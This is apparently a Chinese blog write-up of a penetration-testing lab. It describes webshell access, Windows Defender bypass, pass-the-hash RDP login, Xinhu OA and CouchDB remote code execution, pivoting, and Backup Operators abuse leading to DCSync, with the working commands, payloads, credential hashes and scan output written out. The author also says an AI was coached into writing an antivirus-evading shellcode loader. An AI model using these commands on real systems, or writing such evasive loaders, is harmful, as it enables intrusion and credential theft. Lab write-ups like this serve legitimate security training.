Cyberstrikelab lab13

首先访问网站,搜了一下相关漏洞和默认凭据,没有结果


用dirsearch扫描目录(先尝试了使用gobuster开大字典去扫,扫了半天都没出结果,和我一起打靶的哥们用dirsearch用默认字典一下就出了个1.zip,后来我换dirsearch但还是开自己的大字典扫,仍然等半天没结果,这让我想起记录了很多遍的渗透测试的很多操作都是从最小(也是最好最有可能的)的规模开始的,不行然后再逐渐扩大规模


image


把1.zip下载到本地,其中有一个command.php,如果所示文件末尾有一个明显的一句话木马


image


那直接弹shell回来


image
image


whoami发现是system



tasklist看到windows defender是在工作的


image


这里可以通过net user添加用户,也可以dump管理员的hash,然后开启3389登录上去关掉windows defender,不必做免杀,我选择dump管理员的hash


image


image


开启3389,允许管理员通过远程桌面连接

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f


REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f


使用xfreerdp登陆上靶机


sudo xfreerdp /v:172.33.6.42 /u:administrator /pth:hash


把windows defender的实时保护等各种防护关闭


image


这下就可以上传各种工具继续渗透了


上传mimikatz,并没有更多发现


上传fscan,扫描结果


start infoscan
(icmp) Target 172.55.2.23     is alive
(icmp) Target 172.55.2.67     is alive
[*] Icmp alive hosts len is: 2
172.55.2.67:139 open
172.55.2.23:139 open
172.55.2.67:135 open
172.55.2.23:135 open
172.55.2.67:80 open
172.55.2.23:80 open
172.55.2.67:445 open
172.55.2.23:445 open
172.55.2.67:3306 open
172.55.2.23:3306 open
172.55.2.67:3389 open
172.55.2.23:5985 open
172.55.2.67:5985 open
172.55.2.67:47001 open
172.55.2.23:47001 open
172.55.2.67:49665 open
172.55.2.23:49665 open
172.55.2.67:49664 open
172.55.2.23:49664 open
172.55.2.67:49667 open
172.55.2.23:49667 open
172.55.2.67:49666 open
172.55.2.23:49666 open
172.55.2.67:49669 open
172.55.2.23:49669 open
172.55.2.67:49668 open
172.55.2.23:49668 open
172.55.2.67:49670 open
172.55.2.23:49670 open
[*] alive ports len is: 29
start vulscan
?????0/29 [-] mysql 172.55.2.23:3306 root 123456 Error 1130: Host 'WIN-NAQ9VBLQS2H' is not allowed to connect to this MySQL server
[+] NetInfo:
[*]172.55.2.67
   [->]WIN-NAQ9VBLQS2H
   [->]172.33.6.42
   [->]172.55.2.67
[*] WebTitle:http://172.55.2.67        code:200 len:78057  title:?????????
[+] NetInfo:
[*]172.55.2.23
   [->]WIN-OCT8J3PL36A
   [->]172.55.2.23
   [->]10.50.22.23
[*] WebTitle:http://172.55.2.23        code:302 len:0      title:None ???url: http://172.55.2.23?m=login
[*] 172.55.2.23          WORKGROUP\WIN-OCT8J3PL36A   Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.55.2.23?m=login code:200 len:4035   title:????????????
[*] WebTitle:http://172.55.2.67:5985   code:404 len:315    title:Not Found
[*] WebTitle:http://172.55.2.67:47001  code:404 len:315    title:Not Found
[*] WebTitle:http://172.55.2.23:5985   code:404 len:315    title:Not Found
[*] WebTitle:http://172.55.2.23:47001  code:404 len:315    title:Not Found

将这台主机作为跳板机,上传stowaway的agent端,建立socks代理


image


之前看到172.55.2.23的80端口是开放的,访问它的web服务,发现是一个叫 信呼协同办公 的系统


image


上网查了一下,找到了普通用户的弱口令,成功登录


查询了存在的漏洞,找到了信呼OA普通用户权限getshell方法


POST访问网站的/index.php?d=main&m=flow&a=copymode&ajaxbool=true,请求体中写类似id=1&name=a{};phpinfo ();class a的payload


然后访问/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php执行代码,a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20a这一部分就是之前POST中payload的url编码


详情可见信呼OA普通用户权限getshell方法


我在这里卡了一段时间,使用刚才文章中的办法不行,貌似是过滤了引号和冒号等特殊字符,想用powershell base64编码反弹shell或者执行一些命令,但是有个大概180字符左右的长度限制,且这里的输入会全部转换为小写,base64行不通。


总的来说,不能下载文件,不能反弹shell,有长度限制,我急需脱离这个执行命令的环境,要靠着写shell的方向去想


最终确定通过file_put_contents函数写入一句话木马,文件名和写入内容通过chr()函数从ascii码转换为字符,由于长度限制,每次只写一个字符,可以用数字8表示追加模式


file_put_contents(chr(98).chr(46).chr(112).chr(104).chr(112),chr(60),8)


一个一个写入非常耗时耗精力,最好还是写个脚本来搞,我是不想搞第二次的


{C8439C18-FD9D-4bfa-BEEB-E49B88213C5E}


写入完毕后执行命令


{47EDE955-FF32-4093-A94C-F65313366FDD}


现在有了一个方便的执行命令的环境,但尝试反弹shell失败,尝试下载nc反弹shell也失败,上传上去后立马就被杀了,机器开启了windows defender,但是whoami发现是local services并不是管理员,那么就不能登录远程桌面关闭杀软了,whoami /priv发现有SeImpersonate权限



只能上传免杀马了,我自己准备了一个调教ai写出的C#写的远程下载的shellcode加载器,用windows自带的csc编译后上传到靶机,但是却没有执行成功。后来将恶意部分去掉,只留下载部分并添加测试输出,仍然执行不成功,已经可以确定是兼容性的问题了


免杀的大概思路就是远程下载shellcode,使用NTAPI代替kernel32 API,委托调用代替直接P/Invoke,告诉deepseek马上就能搞定


中途为了更好的操作环境,上传了一个免杀的哥斯拉


{3B82A5C3-A68F-4595-8093-06D819FC8461}


后来想了一下,我把代码放到靶机上编译,不就应该能执行了吗,当时我还没那么确信windows自带.net framework,翻找了一个确实有4.0版本的


{899DFB58-EC67-4221-BB98-800271944AE2}(1)


通过靶机上的csc编译shellcode加载器,然后执行得到shell,我加载的meterpeter(要在第一个跳板机上使用stowaway做端口转发)

getsystem直接拿到system权限


{D8C34736-CF2E-4190-AB25-B42D8E4146D9}


之后的操作hashdump,使用kiwi模块找密码,开启3389,administrator登录上靶机,关闭windows defender,继续上传fscan扫下一个网段


C:\phpStudy\WWW\webmain\flow\input>fscan.exe -h 10.50.22.1/24 -p 1-65535
fscan.exe -h 10.50.22.1/24 -p 1-65535

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.1
start infoscan
(icmp) Target 10.50.22.6      is alive
(icmp) Target 10.50.22.8      is alive
(icmp) Target 10.50.22.23     is alive
[*] Icmp alive hosts len is: 3
10.50.22.23:139 open
10.50.22.8:139 open
10.50.22.6:139 open
10.50.22.23:135 open
10.50.22.8:135 open
10.50.22.6:135 open
10.50.22.8:88 open
10.50.22.23:80 open
10.50.22.8:53 open
10.50.22.8:389 open
10.50.22.23:445 open
10.50.22.8:445 open
10.50.22.6:445 open
10.50.22.8:464 open
10.50.22.8:593 open
10.50.22.8:636 open
10.50.22.8:3269 open
10.50.22.8:3268 open
10.50.22.23:3306 open
10.50.22.23:3389 open
10.50.22.6:4369 open
10.50.22.8:5985 open
10.50.22.23:5985 open
10.50.22.6:5985 open
10.50.22.6:5984 open
10.50.22.8:9389 open
10.50.22.23:47001 open
10.50.22.8:47001 open
10.50.22.6:47001 open
10.50.22.23:49668 open
10.50.22.6:49668 open
10.50.22.23:49667 open
10.50.22.8:49667 open
10.50.22.6:49667 open
10.50.22.23:49666 open
10.50.22.8:49666 open
10.50.22.6:49666 open
10.50.22.23:49665 open
10.50.22.8:49665 open
10.50.22.6:49665 open
10.50.22.23:49664 open
10.50.22.8:49664 open
10.50.22.6:49664 open
10.50.22.23:49669 open
10.50.22.8:49669 open
10.50.22.6:49669 open
10.50.22.8:49673 open
10.50.22.8:49672 open
10.50.22.6:49671 open
10.50.22.23:49670 open
10.50.22.6:49670 open
10.50.22.8:49675 open
10.50.22.8:61648 open
10.50.22.8:61646 open
10.50.22.8:61664 open
10.50.22.8:61655 open
[*] alive ports len is: 56
start vulscan
[+] NetInfo:
[*]10.50.22.8
   [->]DC
   [->]10.50.22.8
[+] NetInfo:
[*]10.50.22.6
   [->]cslab
   [->]10.50.22.6
[+] NetInfo:
[*]10.50.22.23
   [->]WIN-OCT8J3PL36A
   [->]172.55.2.23
   [->]10.50.22.23
[*] WebTitle:http://10.50.22.23        code:302 len:0      title:None 跳转url: http://10.50.22.23?m=login
[*] 10.50.22.8  (Windows Server 2022 Standard 20348)
[*] 10.50.22.6  (Windows Server 2016 Standard 14393)
[*] WebTitle:http://10.50.22.23?m=login code:200 len:4035   title:信呼协同办公系统
[*] WebTitle:http://10.50.22.23:5985   code:404 len:315    title:Not Found
[*] WebTitle:http://10.50.22.23:47001  code:404 len:315    title:Not Found
[*] WebTitle:http://10.50.22.6:5984    code:200 len:151    title:None
[*] WebTitle:http://10.50.22.8:5985    code:404 len:315    title:Not Found
[*] WebTitle:http://10.50.22.8:47001   code:404 len:315    title:Not Found
[*] 10.50.22.8     [+]DC __MSBROWSE__\DC                Windows Server 2022 Standard 20348
[*] WebTitle:http://10.50.22.6:5985    code:404 len:315    title:Not Found
[*] WebTitle:http://10.50.22.6:47001   code:404 len:315    title:Not Found
[*] 10.50.22.6           CYBERSTRIKE\CSLAB             Windows Server 2016 Standard 14393
[+] http://10.50.22.6:5984 poc-yaml-couchdb-unauth 
[+] http://10.50.22.6:5984 poc-yaml-couchdb-cve-2017-12635

看到10.50.22.6有couchdb未授权访问和cve-2017-12635,网上查资料,直接挨个执行命令得到反弹shell


proxychains -f proxychains.conf -q curl -X PUT 'http://10.50.22.6:5984/_config/query_servers/cmd' -d '"powershell -e ....."' # 这里可以执行任意命令
proxychains -f proxychains.conf -q curl -X PUT 'http://10.50.22.6:5984/vultest'    # 添加一个Database和Document
proxychains -f proxychains.conf -q curl -X PUT 'http://10.50.22.6:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
proxychains -f proxychains.conf -q curl -X POST 'http://10.50.22.6:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

因为这里是多层内网,可能会觉得上传下载文件不方便


但是stowaway非常方便,在第二个跳板机上用backward命令启动多次反向端口转发,可以先下载工具和木马,然后回连到kali


stowaway本身也是可以启动shell的,而且可以方便做上传和下载操作


whoami发现是system


上传sharphound进行域信息收集,发现cslab这个用户在Backup Operotors组中


image


尝试爆破cslab的密码失败,LaZagne也没找到密码


image


上传winpeas执行,发现一个默认密码,经过验证并不是cslab的密码


ca24eea4d6d52f0cea53bfa5de3c3c21


然后又看到几个计划任务,其中xweuw32.bat中有cslab的密码


9b0d4350b089d1c36acd68271b7e5dcd

7361371cb02a554eb0118587e85faed3


cslab用户并不能直接登录到域控,尝试用impacket工具包中的reg脚本备份SAM等文件


参考Backup Operator Privilege Escalation


image


开启3389,


以cslab运行一个powershell


runas.exe /netonly /user:cyberstrike.lab\cslab powershell.exe


image


拿到本地administrator的hash,但是发现并不能登录


但是DC$的hash是能够使用的,用netexec进行Dcsync,拿到域管理员的hash,登录拿到flag


image

后面看别人发现还有工具也可以利用backup operators组,记录一下

BOexp.exe-t \\DC.cyberstrike.lab -u cslab-p cs1ab@cs6 -d cyberstrike.lab -o c:\users

posted @ 2026-04-07 17:56  巡璃27  阅读(7)  评论(0)    收藏  举报